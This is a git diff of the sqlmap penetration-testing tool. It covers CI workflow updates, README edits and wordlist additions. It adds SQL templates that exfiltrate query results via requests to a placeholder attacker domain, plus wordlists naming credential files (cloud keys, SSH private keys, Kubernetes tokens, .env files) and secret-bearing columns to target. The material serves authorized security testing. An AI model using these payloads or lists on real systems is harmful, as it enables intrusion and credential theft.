|
python-version: "3.8"
|
||||||
|
- os: windows-latest
|
||||||
|
python-version: "3.14"
|
||||||
|
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v2
|
- name: Checkout code
|
||||||
- name: Set up Python
|
uses: actions/checkout@v4
|
||||||
uses: actions/setup-python@v2
|
with:
|
||||||
|
fetch-depth: 1
|
||||||
|
persist-credentials: false
|
||||||
|
|
||||||
|
- name: Set up Python ${{ matrix.python-version }}
|
||||||
|
uses: actions/setup-python@v5
|
||||||
with:
|
with:
|
||||||
python-version: ${{ matrix.python-version }}
|
python-version: ${{ matrix.python-version }}
|
||||||
|
|
||||||
|
- name: Python sanity
|
||||||
|
run: python -VV
|
||||||
|
|
||||||
|
- name: Pyflakes lint
|
||||||
|
shell: bash
|
||||||
|
run: |
|
||||||
|
python - <<'PY'
|
||||||
|
from __future__ import print_function
|
||||||
|
|
||||||
|
import subprocess
|
||||||
|
import sys
|
||||||
|
|
||||||
|
subprocess.check_call([
|
||||||
|
sys.executable, "-m", "pip", "install", "pyflakes"
|
||||||
|
])
|
||||||
|
|
||||||
|
files = subprocess.check_output(
|
||||||
|
["git", "ls-files", "*.py"]
|
||||||
|
).decode("utf-8").splitlines()
|
||||||
|
|
||||||
|
files = [
|
||||||
|
f for f in files
|
||||||
|
if not f.startswith("thirdparty/")
|
||||||
|
]
|
||||||
|
|
||||||
|
proc = subprocess.Popen(
|
||||||
|
[sys.executable, "-m", "pyflakes"] + files,
|
||||||
|
stdout=subprocess.PIPE,
|
||||||
|
stderr=subprocess.STDOUT,
|
||||||
|
)
|
||||||
|
out, _ = proc.communicate()
|
||||||
|
|
||||||
|
text = out.decode("utf-8", "replace")
|
||||||
|
lines = [
|
||||||
|
line for line in text.splitlines()
|
||||||
|
if " redefines " not in line
|
||||||
|
]
|
||||||
|
|
||||||
|
if lines:
|
||||||
|
print("\n".join(lines))
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
if proc.returncode not in (0, 1):
|
||||||
|
if text:
|
||||||
|
print(text)
|
||||||
|
print("pyflakes failed unexpectedly with status %s" % proc.returncode)
|
||||||
|
sys.exit(proc.returncode or 1)
|
||||||
|
|
||||||
|
print("pyflakes: clean")
|
||||||
|
PY
|
||||||
|
|
||||||
- name: Basic import test
|
- name: Basic import test
|
||||||
run: python -c "import sqlmap; import sqlmapapi"
|
run: python -c "import sqlmap; import sqlmapapi"
|
||||||
|
|
||||||
|
- name: Install optional test deps (lxml, jinja2)
|
||||||
|
# lxml has no PyPy-2.7 wheel and 5.x is Py3-only, so it cannot be pip-installed there. The
|
||||||
|
# tests that use it (test_xpath's real-XPath checks, and the --xpath/--ssti vuln-test
|
||||||
|
# endpoints) skip themselves when the engine is unavailable, so these deps are only needed
|
||||||
|
# on the Py3 jobs.
|
||||||
|
if: matrix.python-version != 'pypy-2.7'
|
||||||
|
run: python -m pip install -q lxml jinja2
|
||||||
|
|
||||||
|
- name: Unit tests
|
||||||
|
# -B: do not write .pyc files. On Python 2 / PyPy a cached .pyc makes a module's __file__
|
||||||
|
# point at the .pyc, which would make the later --smoke getFileType(__file__) doctest see
|
||||||
|
# 'binary' instead of 'text'. Keeping this step byte-compile-free leaves --smoke clean.
|
||||||
|
run: python -B -m unittest discover -s tests -p "test_*.py"
|
||||||
|
|
||||||
|
- name: Esperanto self-test
|
||||||
|
# offline, deterministic engine check against an in-memory SQLite boolean oracle: all
|
||||||
|
# compare modes + identify + bytes/text + noisy-oracle quorum + integrity + strategy
|
||||||
|
# handoff (a failed assertion exits non-zero)
|
||||||
|
run: python extra/esperanto/run.py --self-test
|
||||||
|
|
||||||
|
- name: Coverage
|
||||||
|
if: matrix.python-version != 'pypy-2.7'
|
||||||
|
run: |
|
||||||
|
python -m pip install coverage
|
||||||
|
python -m coverage run --source=lib,plugins,tamper -m unittest discover -s tests -p "test_*.py"
|
||||||
|
python -m coverage run -a --source=lib,plugins,tamper sqlmap.py --doc-test
|
||||||
|
python -m coverage report --fail-under=50
|
||||||
|
|
||||||
- name: Smoke test
|
- name: Smoke test
|
||||||
run: python sqlmap.py --smoke
|
run: python sqlmap.py --smoke-test
|
||||||
|
|
||||||
|
- name: Payload lint
|
||||||
|
# offline: emulates blind + UNION enumeration across all DBMSes and checks
|
||||||
|
# every payload agent.py builds with lib/utils/sqllint (structural sanity)
|
||||||
|
run: python sqlmap.py --payload-lint
|
||||||
|
|
||||||
- name: Vuln test
|
- name: Vuln test
|
||||||
run: python sqlmap.py --vuln
|
run: python sqlmap.py --vuln-test
|
||||||
|
|
||||||
|
- name: API test
|
||||||
|
run: python sqlmap.py --api-test
|
||||||
|
|||||||
+12
@@ -6,3 +6,15 @@ traffic.txt
|
|||||||
*~
|
*~
|
||||||
req*.txt
|
req*.txt
|
||||||
.idea/
|
.idea/
|
||||||
|
.aider*
|
||||||
|
.DS_Store
|
||||||
|
.github/.DS_Store
|
||||||
|
data/.DS_Store
|
||||||
|
extra/.DS_Store
|
||||||
|
lib/.DS_Store
|
||||||
|
plugins/.DS_Store
|
||||||
|
thirdparty/.DS_Store
|
||||||
|
CLAUDE.md
|
||||||
|
.coverage
|
||||||
|
.codegraph/
|
||||||
|
.claude/
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
COPYING -- Describes the terms under which sqlmap is distributed. A copy
|
COPYING -- Describes the terms under which sqlmap is distributed. A copy
|
||||||
of the GNU General Public License (GPL) is appended to this file.
|
of the GNU General Public License (GPL) is appended to this file.
|
||||||
|
|
||||||
sqlmap is (C) 2006-2025 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
|
sqlmap is (C) 2006-2026 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
|
||||||
|
|
||||||
This program is free software; you may redistribute and/or modify it under
|
This program is free software; you may redistribute and/or modify it under
|
||||||
the terms of the GNU General Public License as published by the Free
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
# sqlmap 
|
# sqlmap
|
||||||
|
|
||||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||||
|
|
||||||
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections.
|
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections.
|
||||||
|
|
||||||
@@ -20,7 +20,7 @@ Preferably, you can download sqlmap by cloning the [Git](https://github.com/sqlm
|
|||||||
|
|
||||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||||
|
|
||||||
sqlmap works out of the box with [Python](https://www.python.org/download/) version **2.6**, **2.7** and **3.x** on any platform.
|
sqlmap works out of the box with [Python](https://www.python.org/download/) version **2.7** and **3.x** on any platform.
|
||||||
|
|
||||||
Usage
|
Usage
|
||||||
----
|
----
|
||||||
@@ -47,11 +47,15 @@ Links
|
|||||||
* Frequently Asked Questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Frequently Asked Questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* X: [@sqlmap](https://x.com/sqlmap)
|
* X: [@sqlmap](https://x.com/sqlmap)
|
||||||
* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
|
* Playground: https://sekumart.sekuripy.hr
|
||||||
|
* Research: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||||
* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|
||||||
Translations
|
Translations
|
||||||
----
|
----
|
||||||
|
|
||||||
|
* [Arabic](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ar-AR.md)
|
||||||
|
* [Bengali](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-bn-BD.md)
|
||||||
* [Bulgarian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-bg-BG.md)
|
* [Bulgarian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-bg-BG.md)
|
||||||
* [Chinese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-zh-CN.md)
|
* [Chinese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-zh-CN.md)
|
||||||
* [Croatian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-hr-HR.md)
|
* [Croatian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-hr-HR.md)
|
||||||
|
|||||||
@@ -1,151 +0,0 @@
|
|||||||
<!DOCTYPE html>
|
|
||||||
|
|
||||||
<!-- https://angrytools.com/bootstrap/editor/ -->
|
|
||||||
|
|
||||||
<html lang="en">
|
|
||||||
<head>
|
|
||||||
<title>DEMO</title>
|
|
||||||
<meta charset="utf-8">
|
|
||||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
|
||||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
|
||||||
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap.min.css" rel="stylesheet">
|
|
||||||
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap-theme.min.css" rel="stylesheet">
|
|
||||||
|
|
||||||
<!--[if lt IE 9]><script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script><script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script><![endif]-->
|
|
||||||
</head>
|
|
||||||
<body>
|
|
||||||
<style>
|
|
||||||
#wrapper { width: 100%; }
|
|
||||||
|
|
||||||
#page-wrapper {
|
|
||||||
padding: 0 15px;
|
|
||||||
min-height: 568px;
|
|
||||||
background-color: #fff;
|
|
||||||
}
|
|
||||||
|
|
||||||
@media(min-width:768px) {
|
|
||||||
#page-wrapper {
|
|
||||||
position: inherit;
|
|
||||||
margin: 0 0 0 250px;
|
|
||||||
padding: 0 30px;
|
|
||||||
border-left: 1px solid #e7e7e7;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
.sidebar .sidebar-nav.navbar-collapse { padding-right: 0; padding-left: 0; }
|
|
||||||
.sidebar .sidebar-search { padding: 15px; }
|
|
||||||
.sidebar ul li { border-bottom: 1px solid #e7e7e7; }
|
|
||||||
|
|
||||||
.sidebar ul li a.active { background-color: #eee; }
|
|
||||||
|
|
||||||
.sidebar .arrow { float: right;}
|
|
||||||
.sidebar .fa.arrow:before { content: "f104";}
|
|
||||||
.sidebar .active>a>.fa.arrow:before { content: "f107"; }
|
|
||||||
.sidebar .nav-second-level li,
|
|
||||||
.sidebar .nav-third-level li {
|
|
||||||
border-bottom: 0!important;
|
|
||||||
}
|
|
||||||
|
|
||||||
.sidebar .nav-second-level li a { padding-left: 37px; }
|
|
||||||
.sidebar .nav-third-level li a { padding-left: 52px; }
|
|
||||||
|
|
||||||
@media(min-width:768px) {
|
|
||||||
.sidebar {
|
|
||||||
z-index: 1;
|
|
||||||
position: absolute;
|
|
||||||
width: 250px;
|
|
||||||
margin-top: 51px;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
</style>
|
|
||||||
<div id="wrapper">
|
|
||||||
|
|
||||||
<nav class="navbar navbar-default navbar-static-top" role="navigation" style="margin-bottom: 0">
|
|
||||||
<div class="navbar-header">
|
|
||||||
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
|
|
||||||
<span class="sr-only">Toggle navigation</span>
|
|
||||||
<span class="icon-bar"></span>
|
|
||||||
<span class="icon-bar"></span>
|
|
||||||
<span class="icon-bar"></span>
|
|
||||||
</button>
|
|
||||||
<a class="navbar-brand" href="index.html">sqlmap</a>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div class="navbar-default sidebar" role="navigation">
|
|
||||||
<div class="sidebar-nav navbar-collapse">
|
|
||||||
<ul class="nav" id="side-menu">
|
|
||||||
<li>
|
|
||||||
<a href="#"><em class="glyphicon glyphicon-home"></em> Options<span class="arrow"></span></a>
|
|
||||||
<ul class="nav nav-second-level">
|
|
||||||
<li><a>Target</a></li>
|
|
||||||
<li><a>Request</a></li>
|
|
||||||
<li><a>Optimization</a></li>
|
|
||||||
<li><a>Injection</a></li>
|
|
||||||
<li><a>Detection</a></li>
|
|
||||||
<li><a>Techniques</a></li>
|
|
||||||
<li><a>Fingerprint</a></li>
|
|
||||||
<li><a>Enumeration</a></li>
|
|
||||||
<li><a>Brute force</a></li>
|
|
||||||
<li><a>User-defined function injection</a></li>
|
|
||||||
<li><a>File system access</a></li>
|
|
||||||
<li><a>Operating system access</a></li>
|
|
||||||
<li><a>Windows registry access</a></li>
|
|
||||||
<li><a>General</a></li>
|
|
||||||
<li><a>Miscellaneous</a></li>
|
|
||||||
</ul>
|
|
||||||
</li>
|
|
||||||
</ul>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</nav>
|
|
||||||
|
|
||||||
<div id="page-wrapper">
|
|
||||||
<div class="row">
|
|
||||||
<h4>DEMO</h4>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
<script>
|
|
||||||
/*
|
|
||||||
* metismenu - v1.0.3
|
|
||||||
* Easy menu jQuery plugin for Twitter Bootstrap 3
|
|
||||||
* https://github.com/onokumus/metisMenu
|
|
||||||
*
|
|
||||||
* Made by Osman Nuri Okumuş
|
|
||||||
* Under MIT License
|
|
||||||
*/
|
|
||||||
!function(a,b,c){function d(b,c){this.element=b,this.settings=a.extend({},f,c),this._defaults=f,this._name=e,this.init()}var e="metisMenu",f={toggle:!0};d.prototype={init:function(){var b=a(this.element),c=this.settings.toggle;this.isIE()<=9?(b.find("li.active").has("ul").children("ul").collapse("show"),b.find("li").not(".active").has("ul").children("ul").collapse("hide")):(b.find("li.active").has("ul").children("ul").addClass("collapse in"),b.find("li").not(".active").has("ul").children("ul").addClass("collapse")),b.find("li").has("ul").children("a").on("click",function(b){b.preventDefault(),a(this).parent("li").toggleClass("active").children("ul").collapse("toggle"),c&&a(this).parent("li").siblings().removeClass("active").children("ul.in").collapse("hide")})},isIE:function(){for(var a,b=3,d=c.createElement("div"),e=d.getElementsByTagName("i");d.innerHTML="<!--[if gt IE "+ ++b+"]><i></i><![endif]-->",e[0];)return b>4?b:a}},a.fn[e]=function(b){return this.each(function(){a.data(this,"plugin_"+e)||a.data(this,"plugin_"+e,new d(this,b))})}}(jQuery,window,document);
|
|
||||||
|
|
||||||
$(function() {
|
|
||||||
|
|
||||||
$('#side-menu').metisMenu();
|
|
||||||
|
|
||||||
});
|
|
||||||
|
|
||||||
//Loads the correct sidebar on window load,
|
|
||||||
//collapses the sidebar on window resize.
|
|
||||||
// Sets the min-height of #page-wrapper to window size
|
|
||||||
$(function() {
|
|
||||||
$(window).bind("load resize", function() {
|
|
||||||
topOffset = 50;
|
|
||||||
width = (this.window.innerWidth > 0) ? this.window.innerWidth : this.screen.width;
|
|
||||||
if (width < 768) {
|
|
||||||
$('div.navbar-collapse').addClass('collapse')
|
|
||||||
topOffset = 100; // 2-row-menu
|
|
||||||
} else {
|
|
||||||
$('div.navbar-collapse').removeClass('collapse')
|
|
||||||
}
|
|
||||||
|
|
||||||
height = (this.window.innerHeight > 0) ? this.window.innerHeight : this.screen.height;
|
|
||||||
height = height - topOffset;
|
|
||||||
if (height < 1) height = 1;
|
|
||||||
if (height > topOffset) {
|
|
||||||
$("#page-wrapper").css("min-height", (height) + "px");
|
|
||||||
}
|
|
||||||
})
|
|
||||||
});
|
|
||||||
</script>
|
|
||||||
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
|
|
||||||
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/js/bootstrap.min.js"></script>
|
|
||||||
</body>
|
|
||||||
</html>
|
|
||||||
@@ -0,0 +1 @@
|
|||||||
|
SELECT count(*) FROM url('http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%/', 'CSV', 'c String')
|
||||||
@@ -0,0 +1,2 @@
|
|||||||
|
SELECT FILE_READ('http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%/', NULL)
|
||||||
|
# or SELECT CSVREAD('http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%/')
|
||||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1,4 +1,4 @@
|
|||||||
# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
|
# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
id
|
id
|
||||||
@@ -2768,6 +2768,42 @@ shouji
|
|||||||
u_pass
|
u_pass
|
||||||
hashedPw
|
hashedPw
|
||||||
|
|
||||||
|
# API keys, tokens and secrets
|
||||||
|
|
||||||
|
api_key
|
||||||
|
apikey
|
||||||
|
api_token
|
||||||
|
access_token
|
||||||
|
refresh_token
|
||||||
|
auth_token
|
||||||
|
session_token
|
||||||
|
remember_token
|
||||||
|
secret_key
|
||||||
|
client_secret
|
||||||
|
encryption_key
|
||||||
|
reset_token
|
||||||
|
password_reset_token
|
||||||
|
verification_token
|
||||||
|
confirmation_token
|
||||||
|
otp
|
||||||
|
otp_secret
|
||||||
|
totp_secret
|
||||||
|
mfa_secret
|
||||||
|
two_factor_secret
|
||||||
|
|
||||||
|
# Framework and identity columns
|
||||||
|
|
||||||
|
deleted_at
|
||||||
|
uuid
|
||||||
|
role
|
||||||
|
is_admin
|
||||||
|
is_active
|
||||||
|
is_verified
|
||||||
|
date_of_birth
|
||||||
|
dob
|
||||||
|
credit_card
|
||||||
|
postal_code
|
||||||
|
|
||||||
# password (international)
|
# password (international)
|
||||||
|
|
||||||
adgangskode
|
adgangskode
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
|
# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
# CTFs
|
# CTFs
|
||||||
@@ -1807,3 +1807,48 @@
|
|||||||
/opt/kibana/config/kibana.yml
|
/opt/kibana/config/kibana.yml
|
||||||
/etc/kibana/kibana.yml
|
/etc/kibana/kibana.yml
|
||||||
/etc/elasticsearch/elasticsearch.yml
|
/etc/elasticsearch/elasticsearch.yml
|
||||||
|
|
||||||
|
# Containers and orchestration secrets
|
||||||
|
|
||||||
|
/.dockerenv
|
||||||
|
/proc/self/cgroup
|
||||||
|
/proc/1/cgroup
|
||||||
|
/run/secrets/kubernetes.io/serviceaccount/token
|
||||||
|
/var/run/secrets/kubernetes.io/serviceaccount/token
|
||||||
|
/run/secrets/kubernetes.io/serviceaccount/namespace
|
||||||
|
/var/run/secrets/kubernetes.io/serviceaccount/namespace
|
||||||
|
/run/secrets/kubernetes.io/serviceaccount/ca.crt
|
||||||
|
|
||||||
|
# Cloud provider credentials
|
||||||
|
|
||||||
|
/root/.aws/credentials
|
||||||
|
/root/.aws/config
|
||||||
|
/root/.config/gcloud/application_default_credentials.json
|
||||||
|
/root/.config/gcloud/credentials.db
|
||||||
|
/root/.azure/accessTokens.json
|
||||||
|
/root/.kube/config
|
||||||
|
|
||||||
|
# SSH keys and DB/tool history
|
||||||
|
|
||||||
|
/root/.ssh/authorized_keys
|
||||||
|
/root/.ssh/id_ed25519
|
||||||
|
/root/.ssh/id_ecdsa
|
||||||
|
/root/.ssh/id_dsa
|
||||||
|
/root/.mysql_history
|
||||||
|
/root/.psql_history
|
||||||
|
/root/.rediscli_history
|
||||||
|
/root/.python_history
|
||||||
|
/root/.sqlite_history
|
||||||
|
|
||||||
|
# dotenv, VCS and app config under common web roots
|
||||||
|
|
||||||
|
/var/www/.env
|
||||||
|
/var/www/html/.env
|
||||||
|
/app/.env
|
||||||
|
/usr/share/nginx/html/.env
|
||||||
|
/var/www/html/.git/config
|
||||||
|
/var/www/html/.git/HEAD
|
||||||
|
/var/www/html/wp-config.php
|
||||||
|
/app/application.properties
|
||||||
|
/app/application.yml
|
||||||
|
/app/docker-compose.yml
|
||||||
|
|||||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,243 @@
|
|||||||
|
# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||||
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
|
id
|
||||||
|
page
|
||||||
|
q
|
||||||
|
query
|
||||||
|
search
|
||||||
|
s
|
||||||
|
keyword
|
||||||
|
keywords
|
||||||
|
name
|
||||||
|
username
|
||||||
|
user
|
||||||
|
uid
|
||||||
|
userid
|
||||||
|
email
|
||||||
|
mail
|
||||||
|
pass
|
||||||
|
password
|
||||||
|
pwd
|
||||||
|
token
|
||||||
|
key
|
||||||
|
apikey
|
||||||
|
api_key
|
||||||
|
access_token
|
||||||
|
auth
|
||||||
|
session
|
||||||
|
sid
|
||||||
|
sessionid
|
||||||
|
lang
|
||||||
|
language
|
||||||
|
locale
|
||||||
|
country
|
||||||
|
region
|
||||||
|
city
|
||||||
|
zip
|
||||||
|
sort
|
||||||
|
order
|
||||||
|
orderby
|
||||||
|
dir
|
||||||
|
direction
|
||||||
|
filter
|
||||||
|
category
|
||||||
|
cat
|
||||||
|
type
|
||||||
|
kind
|
||||||
|
class
|
||||||
|
group
|
||||||
|
tag
|
||||||
|
tags
|
||||||
|
status
|
||||||
|
state
|
||||||
|
action
|
||||||
|
act
|
||||||
|
cmd
|
||||||
|
command
|
||||||
|
op
|
||||||
|
operation
|
||||||
|
mode
|
||||||
|
method
|
||||||
|
func
|
||||||
|
function
|
||||||
|
callback
|
||||||
|
jsonp
|
||||||
|
format
|
||||||
|
output
|
||||||
|
view
|
||||||
|
tab
|
||||||
|
step
|
||||||
|
stage
|
||||||
|
debug
|
||||||
|
test
|
||||||
|
dev
|
||||||
|
admin
|
||||||
|
role
|
||||||
|
level
|
||||||
|
priv
|
||||||
|
file
|
||||||
|
filename
|
||||||
|
path
|
||||||
|
dir
|
||||||
|
folder
|
||||||
|
doc
|
||||||
|
document
|
||||||
|
url
|
||||||
|
uri
|
||||||
|
link
|
||||||
|
href
|
||||||
|
redirect
|
||||||
|
redirect_uri
|
||||||
|
return
|
||||||
|
returnurl
|
||||||
|
return_url
|
||||||
|
next
|
||||||
|
target
|
||||||
|
dest
|
||||||
|
destination
|
||||||
|
goto
|
||||||
|
continue
|
||||||
|
ref
|
||||||
|
referer
|
||||||
|
referrer
|
||||||
|
source
|
||||||
|
src
|
||||||
|
from
|
||||||
|
to
|
||||||
|
date
|
||||||
|
year
|
||||||
|
month
|
||||||
|
day
|
||||||
|
time
|
||||||
|
timestamp
|
||||||
|
start
|
||||||
|
end
|
||||||
|
begin
|
||||||
|
finish
|
||||||
|
limit
|
||||||
|
offset
|
||||||
|
count
|
||||||
|
num
|
||||||
|
number
|
||||||
|
size
|
||||||
|
length
|
||||||
|
width
|
||||||
|
height
|
||||||
|
amount
|
||||||
|
price
|
||||||
|
qty
|
||||||
|
quantity
|
||||||
|
value
|
||||||
|
val
|
||||||
|
data
|
||||||
|
input
|
||||||
|
content
|
||||||
|
text
|
||||||
|
msg
|
||||||
|
message
|
||||||
|
body
|
||||||
|
title
|
||||||
|
subject
|
||||||
|
description
|
||||||
|
desc
|
||||||
|
comment
|
||||||
|
note
|
||||||
|
code
|
||||||
|
hash
|
||||||
|
sig
|
||||||
|
signature
|
||||||
|
csrf
|
||||||
|
csrf_token
|
||||||
|
csrftoken
|
||||||
|
nonce
|
||||||
|
salt
|
||||||
|
enc
|
||||||
|
encrypt
|
||||||
|
decrypt
|
||||||
|
base64
|
||||||
|
json
|
||||||
|
xml
|
||||||
|
raw
|
||||||
|
echo
|
||||||
|
reflect
|
||||||
|
show
|
||||||
|
hide
|
||||||
|
display
|
||||||
|
render
|
||||||
|
template
|
||||||
|
tpl
|
||||||
|
theme
|
||||||
|
skin
|
||||||
|
style
|
||||||
|
color
|
||||||
|
font
|
||||||
|
image
|
||||||
|
img
|
||||||
|
photo
|
||||||
|
avatar
|
||||||
|
icon
|
||||||
|
banner
|
||||||
|
video
|
||||||
|
audio
|
||||||
|
media
|
||||||
|
attachment
|
||||||
|
upload
|
||||||
|
download
|
||||||
|
export
|
||||||
|
import
|
||||||
|
backup
|
||||||
|
restore
|
||||||
|
sync
|
||||||
|
refresh
|
||||||
|
reload
|
||||||
|
reset
|
||||||
|
clear
|
||||||
|
flush
|
||||||
|
purge
|
||||||
|
enable
|
||||||
|
disable
|
||||||
|
active
|
||||||
|
enabled
|
||||||
|
visible
|
||||||
|
public
|
||||||
|
private
|
||||||
|
locked
|
||||||
|
verified
|
||||||
|
confirmed
|
||||||
|
approved
|
||||||
|
product
|
||||||
|
item
|
||||||
|
sku
|
||||||
|
model
|
||||||
|
brand
|
||||||
|
vendor
|
||||||
|
seller
|
||||||
|
store
|
||||||
|
shop
|
||||||
|
cart
|
||||||
|
basket
|
||||||
|
checkout
|
||||||
|
payment
|
||||||
|
invoice
|
||||||
|
receipt
|
||||||
|
transaction
|
||||||
|
account
|
||||||
|
profile
|
||||||
|
member
|
||||||
|
customer
|
||||||
|
client
|
||||||
|
company
|
||||||
|
organization
|
||||||
|
org
|
||||||
|
department
|
||||||
|
team
|
||||||
|
project
|
||||||
|
task
|
||||||
|
job
|
||||||
|
event
|
||||||
|
booking
|
||||||
|
reservation
|
||||||
|
appointment
|
||||||
|
schedule
|
||||||
|
calendar
|
||||||
+118
-450
File diff suppressed because it is too large
Load Diff
@@ -1,4 +1,4 @@
|
|||||||
# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
|
# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
# SQL-92 keywords (reference: http://developer.mimer.com/validator/sql-reserved-words.tml)
|
# SQL-92 keywords (reference: http://developer.mimer.com/validator/sql-reserved-words.tml)
|
||||||
@@ -1633,3 +1633,5 @@ YEAR
|
|||||||
|
|
||||||
ORD
|
ORD
|
||||||
MID
|
MID
|
||||||
|
TOP
|
||||||
|
ROWNUM
|
||||||
|
|||||||
@@ -1,629 +0,0 @@
|
|||||||
39a8a35d730f49daf657fa58903a9cd309813b275df29a86439297a10a15261a data/html/index.html
|
|
||||||
e70317eb90f7d649e4320e59b2791b8eb5810c8cad8bc0c49d917eac966b0f18 data/procs/mssqlserver/activate_sp_oacreate.sql
|
|
||||||
6a2de9f090c06bd77824e15ac01d2dc11637290cf9a5d60c00bf5f42ac6f7120 data/procs/mssqlserver/configure_openrowset.sql
|
|
||||||
798f74471b19be1e6b1688846631b2e397c1a923ad8eca923c1ac93fc94739ad data/procs/mssqlserver/configure_xp_cmdshell.sql
|
|
||||||
5dfaeac6e7ed4c3b56fc75b3c3a594b8458effa4856c0237e1b48405c309f421 data/procs/mssqlserver/create_new_xp_cmdshell.sql
|
|
||||||
3c8944fbd4d77b530af2c72cbabeb78ebfb90f01055a794eede00b7974a115d0 data/procs/mssqlserver/disable_xp_cmdshell_2000.sql
|
|
||||||
afb169095dc36176ffdd4efab9e6bb9ed905874469aac81e0ba265bc6652caa4 data/procs/mssqlserver/dns_request.sql
|
|
||||||
657d56f764c84092ff4bd10b8fcbde95c13780071b715df0af1bc92b7dd284f2 data/procs/mssqlserver/enable_xp_cmdshell_2000.sql
|
|
||||||
1b7d521faca0f69a62c39e0e4267e18a66f8313b22b760617098b7f697a5c81d data/procs/mssqlserver/run_statement_as_user.sql
|
|
||||||
9b8b6e430c705866c738dd3544b032b0099a917d91c85d2b25a8a5610c92bcdf data/procs/mysql/dns_request.sql
|
|
||||||
02b7ef3e56d8346cc4e06baa85b608b0650a8c7e3b52705781a691741fc41bfb data/procs/mysql/write_file_limit.sql
|
|
||||||
02be5ce785214cb9cac8f0eab10128d6f39f5f5de990dea8819774986d0a7900 data/procs/oracle/dns_request.sql
|
|
||||||
606fe26228598128c88bda035986281f117879ac7ff5833d88e293c156adc117 data/procs/oracle/read_file_export_extension.sql
|
|
||||||
4d448d4b7d8bc60ab2eeedfe16f7aa70c60d73aa6820d647815d02a65b1af9eb data/procs/postgresql/dns_request.sql
|
|
||||||
7e3e28eac7f9ef0dea0a6a4cdb1ce9c41f28dd2ee0127008adbfa088d40ef137 data/procs/README.txt
|
|
||||||
3fa42f7428a91d94e792ad8d3cb76109cfe2632d918ae046e32be5a2b51ad3d8 data/shell/backdoors/backdoor.asp_
|
|
||||||
